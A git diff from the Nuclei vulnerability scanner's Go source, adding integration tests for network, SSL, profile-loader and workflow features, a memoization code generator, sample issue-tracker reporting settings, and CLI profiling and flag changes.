@@ -187,8 +197,8 @@ func (n *networkPort) Execute(filePath string) error {
|
||||
ts2 := testutils.NewTCPServer(nil, 34567, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
data, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if string(data) == "PING" {
|
||||
@@ -206,3 +216,14 @@ func (n *networkPort) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type networkhttps struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *networkhttps) Execute(filePath string) error {
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, "scanme.sh", debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
)
|
||||
|
||||
var profileLoaderTestcases = []TestCaseInfo{
|
||||
{Path: "profile-loader/load-with-filename", TestCase: &profileLoaderByRelFile{}},
|
||||
{Path: "profile-loader/load-with-id", TestCase: &profileLoaderById{}},
|
||||
{Path: "profile-loader/basic.yml", TestCase: &customProfileLoader{}},
|
||||
}
|
||||
|
||||
type profileLoaderByRelFile struct{}
|
||||
|
||||
func (h *profileLoaderByRelFile) Execute(testName string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(false, "-tl", "-tp", "cloud.yml")
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to load template with id")
|
||||
}
|
||||
if len(results) <= 10 {
|
||||
return fmt.Errorf("incorrect result: expected more results than %d, got %v", 10, len(results))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type profileLoaderById struct{}
|
||||
|
||||
func (h *profileLoaderById) Execute(testName string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(false, "-tl", "-tp", "cloud")
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to load template with id")
|
||||
}
|
||||
if len(results) <= 10 {
|
||||
return fmt.Errorf("incorrect result: expected more results than %d, got %v", 10, len(results))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// this profile with load kevs
|
||||
type customProfileLoader struct{}
|
||||
|
||||
func (h *customProfileLoader) Execute(filepath string) error {
|
||||
results, err := testutils.RunNucleiWithArgsAndGetResults(false, "-tl", "-tp", filepath)
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("failed to load template with id")
|
||||
}
|
||||
if len(results) < 1 {
|
||||
return fmt.Errorf("incorrect result: expected more results than %d, got %v", 1, len(results))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -13,6 +13,7 @@ var sslTestcases = []TestCaseInfo{
|
||||
{Path: "protocols/ssl/custom-cipher.yaml", TestCase: &sslCustomCipher{}},
|
||||
{Path: "protocols/ssl/custom-version.yaml", TestCase: &sslCustomVersion{}},
|
||||
{Path: "protocols/ssl/ssl-with-vars.yaml", TestCase: &sslWithVars{}},
|
||||
{Path: "protocols/ssl/multi-req.yaml", TestCase: &sslMultiReq{}},
|
||||
}
|
||||
|
||||
type sslBasic struct{}
|
||||
@@ -118,3 +119,23 @@ func (h *sslWithVars) Execute(filePath string) error {
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type sslMultiReq struct{}
|
||||
|
||||
func (h *sslMultiReq) Execute(filePath string) error {
|
||||
ts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {
|
||||
defer conn.Close()
|
||||
data := make([]byte, 4)
|
||||
if _, err := conn.Read(data); err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-V")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
@@ -3,12 +3,17 @@ package main
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
|
||||
"github.com/julienschmidt/httprouter"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
|
||||
sliceutil "github.com/projectdiscovery/utils/slice"
|
||||
)
|
||||
|
||||
var workflowTestcases = []TestCaseInfo{
|
||||
@@ -16,11 +21,41 @@ var workflowTestcases = []TestCaseInfo{
|
||||
{Path: "workflow/condition-matched.yaml", TestCase: &workflowConditionMatched{}},
|
||||
{Path: "workflow/condition-unmatched.yaml", TestCase: &workflowConditionUnmatch{}},
|
||||
{Path: "workflow/matcher-name.yaml", TestCase: &workflowMatcherName{}},
|
||||
{Path: "workflow/complex-conditions.yaml", TestCase: &workflowComplexConditions{}},
|
||||
{Path: "workflow/http-value-share-workflow.yaml", TestCase: &workflowHttpKeyValueShare{}},
|
||||
{Path: "workflow/dns-value-share-workflow.yaml", TestCase: &workflowDnsKeyValueShare{}},
|
||||
{Path: "workflow/code-value-share-workflow.yaml", TestCase: &workflowCodeKeyValueShare{}, DisableOn: isCodeDisabled}, // isCodeDisabled declared in code.go
|
||||
{Path: "workflow/multiprotocol-value-share-workflow.yaml", TestCase: &workflowMultiProtocolKeyValueShare{}},
|
||||
{Path: "workflow/multimatch-value-share-workflow.yaml", TestCase: &workflowMultiMatchKeyValueShare{}},
|
||||
{Path: "workflow/shared-cookie.yaml", TestCase: &workflowSharedCookies{}},
|
||||
}
|
||||
|
||||
func init() {
|
||||
// sign code templates (unless they are disabled)
|
||||
if !isCodeDisabled() {
|
||||
// allow local file access to load content of file references in template
|
||||
// in order to sign them for testing purposes
|
||||
templates.TemplateSignerLFA()
|
||||
|
||||
// testCertFile and testKeyFile are declared in code.go
|
||||
tsigner, err := signer.NewTemplateSignerFromFiles(testCertFile, testKeyFile)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// only the code templates are necessary to be signed
|
||||
var templatesToSign = []string{
|
||||
"workflow/code-template-1.yaml",
|
||||
"workflow/code-template-2.yaml",
|
||||
}
|
||||
for _, templatePath := range templatesToSign {
|
||||
if err := templates.SignTemplate(tsigner, templatePath); err != nil {
|
||||
log.Fatalf("Could not sign template %v got: %s\n", templatePath, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
type workflowBasic struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
@@ -97,6 +132,30 @@ func (h *workflowMatcherName) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type workflowComplexConditions struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowComplexConditions) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "This is test matcher text")
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, result := range results {
|
||||
if !strings.Contains(result, "test-matcher-3") {
|
||||
return fmt.Errorf("incorrect result: the \"basic-get-third:test-matcher-3\" and only that should be matched!\nResults:\n\t%s", strings.Join(results, "\n\t"))
|
||||
}
|
||||
}
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type workflowHttpKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
@@ -133,11 +192,88 @@ func (h *workflowDnsKeyValueShare) Execute(filePath string) error {
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type workflowCodeKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowCodeKeyValueShare) Execute(filePath string) error {
|
||||
// provide the Certificate File that the code templates are signed with
|
||||
certEnvVar := signer.CertEnvVarName + "=" + testCertFile
|
||||
|
||||
results, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, []string{certEnvVar}, "-workflows", filePath, "-target", "input", "-code")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 1)
|
||||
}
|
||||
|
||||
type workflowMultiProtocolKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowMultiProtocolKeyValueShare) Execute(filePath string) error {
|
||||
router := httprouter.New()
|
||||
// the response of path1 contains a domain that will be extracted and shared with the second template
|
||||
router.GET("/path1", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "href=\"blog.projectdiscovery.io\"")
|
||||
})
|
||||
// path2 responds with the value of the "extracted" query parameter, e.g.: /path2?extracted=blog.projectdiscovery.io => blog.projectdiscovery.io
|
||||
router.GET("/path2", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "%s", r.URL.Query().Get("extracted"))
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return expectResultsCount(results, 2)
|
||||
}
|
||||
|
||||
type workflowMultiMatchKeyValueShare struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowMultiMatchKeyValueShare) Execute(filePath string) error {
|
||||
var receivedData []string
|
||||
router := httprouter.New()
|
||||
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "This is test matcher text")
|
||||
})
|
||||
router.GET("/path1", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
fmt.Fprintf(w, "href=\"test-value-%s\"", r.URL.Query().Get("v"))
|
||||
})
|
||||
router.GET("/path2", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
receivedData = append(receivedData, string(body))
|
||||
fmt.Fprintf(w, "test-value")
|
||||
})
|
||||
ts := httptest.NewServer(router)
|
||||
defer ts.Close()
|
||||
|
||||
results, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Check if we received the data from both request to /path1 and it is not overwritten by the later one.
|
||||
// They will appear in brackets because of another bug: https://github.com/orgs/projectdiscovery/discussions/3766
|
||||
if !sliceutil.Contains(receivedData, "[test-value-1]") || !sliceutil.Contains(receivedData, "[test-value-2]") {
|
||||
return fmt.Errorf(
|
||||
"incorrect data: did not receive both extracted data from the first request!\nReceived Data:\n\t%s\nResults:\n\t%s",
|
||||
strings.Join(receivedData, "\n\t"),
|
||||
strings.Join(results, "\n\t"),
|
||||
)
|
||||
}
|
||||
// The number of expected results is 3: the workflow's Matcher Name based condition check forwards both match, and the other branch with simple subtemplates goes with one
|
||||
return expectResultsCount(results, 3)
|
||||
}
|
||||
|
||||
type workflowSharedCookies struct{}
|
||||
|
||||
// Execute executes a test case and returns an error if occurred
|
||||
func (h *workflowSharedCookies) Execute(filePath string) error {
|
||||
handleFunc := func(name string, w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
|
||||
handleFunc := func(name string, w http.ResponseWriter, _ *http.Request, _ httprouter.Params) {
|
||||
cookie := &http.Cookie{Name: name, Value: name}
|
||||
http.SetCookie(w, cookie)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
// Warning - This is generated code
|
||||
package {{.SourcePackage}}
|
||||
|
||||
import (
|
||||
"github.com/projectdiscovery/utils/memoize"
|
||||
|
||||
{{range .Imports}}
|
||||
{{.Name}} {{.Path}}
|
||||
{{end}}
|
||||
)
|
||||
|
||||
{{range .Functions}}
|
||||
{{ .SignatureWithPrefix "memoized" }} {
|
||||
hash := "{{ .Name }}" {{range .Params}} + ":" + fmt.Sprint({{.Name}}) {{end}}
|
||||
|
||||
v, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {
|
||||
return {{.Name}}({{.ParamsNames}})
|
||||
})
|
||||
if err != nil {
|
||||
return {{.ResultFirstFieldDefaultValue}}, err
|
||||
}
|
||||
if value, ok := v.({{.ResultFirstFieldType}}); ok {
|
||||
return value, nil
|
||||
}
|
||||
|
||||
return {{.ResultFirstFieldDefaultValue}}, errors.New("could not convert cached result")
|
||||
}
|
||||
{{end}}
|
||||
@@ -0,0 +1,77 @@
|
||||
// this small cli tool is specific for those functions with arbitrary parameters and with result-error tuple as return values
|
||||
// func(x,y) => result, error
|
||||
// it works by creating a new memoized version of the functions in the same path as memo.original.file.go
|
||||
// some parts are specific for nuclei and hardcoded within the template
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"io/fs"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/projectdiscovery/utils/memoize"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
)
|
||||
|
||||
var (
|
||||
srcPath = flag.String("src", "", "nuclei source path")
|
||||
tplPath = flag.String("tpl", "function.tpl", "template path")
|
||||
tplSrc []byte
|
||||
)
|
||||
|
||||
func main() {
|
||||
flag.Parse()
|
||||
|
||||
var err error
|
||||
tplSrc, err = os.ReadFile(*tplPath)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
err = filepath.Walk(*srcPath, walk)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func walk(path string, info fs.FileInfo, err error) error {
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ext := filepath.Ext(path)
|
||||
base := filepath.Base(path)
|
||||
|
||||
if !stringsutil.EqualFoldAny(ext, ".go") {
|
||||
return nil
|
||||
}
|
||||
|
||||
basePath := filepath.Dir(path)
|
||||
outPath := filepath.Join(basePath, "memo."+base)
|
||||
|
||||
// filename := filepath.Base(path)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !stringsutil.ContainsAnyI(string(data), "@memo") {
|
||||
return nil
|
||||
}
|
||||
log.Println("processing:", path)
|
||||
out, err := memoize.Src(string(tplSrc), path, data, "")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := os.WriteFile(outPath, out, os.ModePerm); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,3 +1,8 @@
|
||||
# global allow/deny list. this will affect both exporters
|
||||
# as well as issue trackers. you can filter trackers with
|
||||
# a tracker level filter on top of an exporter by setting
|
||||
# allow-list/deny-list per tracker.
|
||||
#
|
||||
#allow-list:
|
||||
# severity: high, critical
|
||||
#deny-list:
|
||||
@@ -17,6 +22,15 @@
|
||||
# project-name: test-project
|
||||
# # issue-label is the label of the created issue type
|
||||
# issue-label: bug
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # duplicate-issue-check flag to enable duplicate tracking issue check.
|
||||
# duplicate-issue-check: false
|
||||
#
|
||||
@@ -32,6 +46,41 @@
|
||||
# project-name: "1234"
|
||||
# # issue-label is the label of the created issue type
|
||||
# issue-label: bug
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
#
|
||||
# Gitea contains configuration options for a gitea issue tracker
|
||||
#gitea:
|
||||
# # base-url is the optional self-hosted Gitea application url (defaults to https://gitea.com)
|
||||
# base-url: https://localhost:8443/
|
||||
# # token is the token for a Gitea account to use
|
||||
# token: test-token
|
||||
# # project-owner is the owner (user or org) of the repository
|
||||
# project-owner: "1234"
|
||||
# # project-name is the name of the repository
|
||||
# project-name: "1234"
|
||||
# # issue-label is a custom label to add to created issues
|
||||
# issue-label: bug
|
||||
# # severity-as-label (optional) adds the severity as a label of the created issue
|
||||
# severity-as-label: true
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # duplicate-issue-check (optional) flag to enable duplicate tracking issue check
|
||||
# duplicate-issue-check: false
|
||||
#
|
||||
# Jira contains configuration options for Jira issue tracker
|
||||
#jira:
|
||||
@@ -54,6 +103,15 @@
|
||||
# # SeverityAsLabel (optional) sends the severity as the label of the created issue
|
||||
# # User custom fields for Jira Cloud instead
|
||||
# severity-as-label: true
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# allow-list:
|
||||
# severity: high, critical
|
||||
# tags: network
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc
|
||||
# # When checking for duplicates, the JQL query will filter out status's that match this.
|
||||
# # If it finds a match _and_ the ticket does have this status, a new one will be created.
|
||||
@@ -84,4 +142,34 @@
|
||||
# # Username for the elasticsearch instance
|
||||
# username: test
|
||||
# # Password is the password for elasticsearch instance
|
||||
# password: test
|
||||
# password: test
|
||||
#linear:
|
||||
# # api-key is the API key for the linear account
|
||||
# api-key: ""
|
||||
# # allow-list sets a tracker level filter to only create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: critical
|
||||
# # deny-list sets a tracker level filter to never create issues for templates with
|
||||
# # these severity labels or tags (does not affect exporters. set those globally)
|
||||
# deny-list:
|
||||
# severity: low
|
||||
# # team-id is the ID of the team in Linear
|
||||
# team-id: ""
|
||||
# # project-id is the ID of the project in Linear
|
||||
# project-id: ""
|
||||
# # duplicate-issue-check flag to enable duplicate tracking issue check
|
||||
# duplicate-issue-check: false
|
||||
# # open-state-id is the ID of the open state in Linear
|
||||
# open-state-id: ""
|
||||
#mongodb:
|
||||
# # the connection string to the MongoDB database
|
||||
# # (e.g., mongodb://root:example@localhost:27017/nuclei?ssl=false&authSource=admin)
|
||||
# connection-string: ""
|
||||
# # the name of the collection to store the issues
|
||||
# collection-name: ""
|
||||
# # excludes the Request and Response from the results (helps with filesize)
|
||||
# omit-raw: false
|
||||
# # determines the number of results to be kept in memory before writing it to the database or 0 to
|
||||
# # persist all in memory and write all results at the end (default)
|
||||
# batch-size: 0
|
||||
@@ -9,16 +9,24 @@ import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"runtime/pprof"
|
||||
"runtime/trace"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
_pdcp "github.com/projectdiscovery/nuclei/v3/internal/pdcp"
|
||||
"github.com/projectdiscovery/utils/auth/pdcp"
|
||||
"github.com/projectdiscovery/utils/env"
|
||||
_ "github.com/projectdiscovery/utils/pprof"
|
||||
stringsutil "github.com/projectdiscovery/utils/strings"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/gologger/levels"
|
||||
"github.com/projectdiscovery/interactsh/pkg/client"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/installer"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/runner"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/input/provider"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/installer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover"
|
||||
@@ -32,16 +40,21 @@ import (
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/monitor"
|
||||
errorutil "github.com/projectdiscovery/utils/errors"
|
||||
fileutil "github.com/projectdiscovery/utils/file"
|
||||
unitutils "github.com/projectdiscovery/utils/unit"
|
||||
updateutils "github.com/projectdiscovery/utils/update"
|
||||
)
|
||||
|
||||
var (
|
||||
cfgFile string
|
||||
memProfile string // optional profile file path
|
||||
options = &types.Options{}
|
||||
cfgFile string
|
||||
templateProfile string
|
||||
memProfile string // optional profile file path
|
||||
options = &types.Options{}
|
||||
)
|
||||
|
||||
func main() {
|
||||
// enables CLI specific configs mostly interactive behavior
|
||||
config.CurrentAppMode = config.AppModeCLI
|
||||
|
||||
if err := runner.ConfigureOptions(); err != nil {
|
||||
gologger.Fatal().Msgf("Could not initialize options: %s\n", err)
|
||||
}
|
||||
@@ -91,29 +104,50 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
// Profiling related code
|
||||
// Profiling & tracing related code
|
||||
if memProfile != "" {
|
||||
f, err := os.Create(memProfile)
|
||||
memProfile = strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + ".prof"
|
||||
memProfileFile, err := os.Create(memProfile)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("profile: could not create memory profile %q: %v", memProfile, err)
|
||||
gologger.Fatal().Msgf("profile: could not create memory profile %q file: %v", memProfile, err)
|
||||
}
|
||||
old := runtime.MemProfileRate
|
||||
|
||||
traceFilepath := strings.TrimSuffix(memProfile, filepath.Ext(memProfile)) + ".trace"
|
||||
traceFile, err := os.Create(traceFilepath)
|
||||
if err != nil {
|
||||
gologger.Fatal().Msgf("profile: could not create trace %q file: %v", traceFilepath, err)
|
||||
}
|
||||
|
||||
oldMemProfileRate := runtime.MemProfileRate
|
||||
runtime.MemProfileRate = 4096
|
||||
gologger.Print().Msgf("profile: memory profiling enabled (rate %d), %s", runtime.MemProfileRate, memProfile)
|
||||
|
||||
// Start tracing
|
||||
if err := trace.Start(traceFile); err != nil {
|
||||
gologger.Fatal().Msgf("profile: could not start trace: %v", err)
|
||||
}
|
||||
|
||||
defer func() {
|
||||
_ = pprof.Lookup("heap").WriteTo(f, 0)
|
||||
f.Close()
|
||||
runtime.MemProfileRate = old
|
||||
gologger.Print().Msgf("profile: memory profiling disabled, %s", memProfile)
|
||||
// Start CPU profiling
|
||||
if err := pprof.WriteHeapProfile(memProfileFile); err != nil {
|
||||
gologger.Fatal().Msgf("profile: could not start CPU profile: %v", err)
|
||||
}
|
||||
memProfileFile.Close()
|
||||
traceFile.Close()
|
||||
trace.Stop()
|
||||
runtime.MemProfileRate = oldMemProfileRate
|
||||
|
||||
gologger.Info().Msgf("Memory profile saved at %q", memProfile)
|
||||
gologger.Info().Msgf("Traced at %q", traceFilepath)
|
||||
}()
|
||||
}
|
||||
|
||||
runner.ParseOptions(options)
|
||||
|
||||
if options.HangMonitor {
|
||||
cancel := monitor.NewStackMonitor(10 * time.Second)
|
||||
defer cancel()
|
||||
if options.ScanUploadFile != "" {
|
||||
if err := runner.UploadResultsToCloud(options); err != nil {
|
||||
gologger.Fatal().Msgf("could not upload scan results to cloud dashboard: %s\n", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
nucleiRunner, err := runner.New(options)
|
||||
@@ -124,6 +158,25 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
if options.HangMonitor {
|
||||
stackMonitor := monitor.NewStackMonitor()
|
||||
cancel := stackMonitor.Start(10 * time.Second)
|
||||
defer cancel()
|
||||
stackMonitor.RegisterCallback(func(dumpID string) error {
|
||||
resumeFileName := fmt.Sprintf("crash-resume-file-%s.dump", dumpID)
|
||||
if options.EnableCloudUpload {
|
||||
gologger.Info().Msgf("Uploading scan results to cloud...")
|
||||
}
|
||||
nucleiRunner.Close()
|
||||
gologger.Info().Msgf("Creating resume file: %s\n", resumeFileName)
|
||||
err := nucleiRunner.SaveResumeConfig(resumeFileName)
|
||||
if err != nil {
|
||||
return errorutil.NewWithErr(err).Msgf("couldn't create crash resume file")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
// Setup graceful exits
|
||||
resumeFileName := types.DefaultResumeFilePath()
|
||||
c := make(chan os.Signal, 1)
|
||||
@@ -132,6 +185,10 @@ func main() {
|
||||
go func() {
|
||||
for range c {
|
||||
gologger.Info().Msgf("CTRL+C pressed: Exiting\n")
|
||||
gologger.Info().Msgf("Attempting graceful shutdown...")
|
||||
if options.EnableCloudUpload {
|
||||
gologger.Info().Msgf("Uploading scan results to cloud...")
|
||||
}
|
||||
nucleiRunner.Close()
|
||||
if options.ShouldSaveResume() {
|
||||
gologger.Info().Msgf("Creating resume file: %s\n", resumeFileName)
|
||||
@@ -162,6 +219,8 @@ func readConfig() *goflags.FlagSet {
|
||||
|
||||
// when true updates nuclei binary to latest version
|
||||
var updateNucleiBinary bool
|
||||
var pdcpauth string
|
||||
var fuzzFlag bool
|
||||
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.CaseSensitive = true
|
||||
@@ -173,13 +232,20 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
*/
|
||||
|
||||
flagSet.CreateGroup("input", "Target",
|
||||
flagSet.StringSliceVarP(&options.Targets, "target", "u", nil, "target URLs/hosts to scan", goflags.StringSliceOptions),
|
||||
flagSet.StringSliceVarP(&options.Targets, "target", "u", nil, "target URLs/hosts to scan", goflags.CommaSeparatedStringSliceOptions),
|
||||
flagSet.StringVarP(&options.TargetsFilePath, "list", "l", "", "path to file containing a list of target URLs/hosts to scan (one per line)"),
|
||||
flagSet.StringSliceVarP(&options.ExcludeTargets, "exclude-hosts", "eh", nil, "hosts to exclude to scan from the input list (ip, cidr, hostname)", goflags.FileCommaSeparatedStringSliceOptions),
|
||||
flagSet.StringVar(&options.Resume, "resume", "", "resume scan using resume.cfg (clustering will be disabled)"),
|
||||
flagSet.BoolVarP(&options.ScanAllIPs, "scan-all-ips", "sa", false, "scan all the IP's associated with dns record"),
|
||||
flagSet.StringSliceVarP(&options.IPVersion, "ip-version", "iv", nil, "IP version to scan of hostname (4,6) - (default 4)", goflags.CommaSeparatedStringSliceOptions),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("target-format", "Target-Format",
|
||||
flagSet.StringVarP(&options.InputFileMode, "input-mode", "im", "list", fmt.Sprintf("mode of input file (%v)", provider.SupportedInputFormats())),
|
||||
flagSet.BoolVarP(&options.FormatUseRequiredOnly, "required-only", "ro", false, "use only required fields in input format when generating requests"),
|
||||
flagSet.BoolVarP(&options.SkipFormatValidation, "skip-format-validation", "sfv", false, "skip format validation (like missing vars) when parsing input file"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("templates", "Templates",
|
||||
flagSet.BoolVarP(&options.NewTemplates, "new-templates", "nt", false, "run only new templates added in latest nuclei-templates release"),
|
||||
flagSet.StringSliceVarP(&options.NewTemplatesWithVersion, "new-templates-version", "ntv", nil, "run new templates added in specific version", goflags.CommaSeparatedStringSliceOptions),
|
||||
@@ -192,8 +258,14 @@ on extensive configurability, massive extensibility and ease of use.`)
|
||||
flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"),
|
||||
flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"),
|
||||
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"templates.nuclei.sh"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.BoolVar(&options.TagList, "tgl", false, "list all available tags"),
|
||||
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"cloud.projectdiscovery.io"}, "allowed domain list to load remote templates from"),
|
||||
flagSet.BoolVar(&options.SignTemplates, "sign", false, "signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable"),
|
||||
flagSet.BoolVar(&options.EnableCodeTemplates, "code", false, "enable loading code protocol-based templates"),
|
||||
flagSet.BoolVarP(&options.DisableUnsignedTemplates, "disable-unsigned-templates", "dut", false, "disable running unsigned templates or templates with mismatched signature"),
|
||||
flagSet.BoolVarP(&options.EnableSelfContainedTemplates, "enable-self-contained", "esc", false, "enable loading self-contained templates"),
|
||||
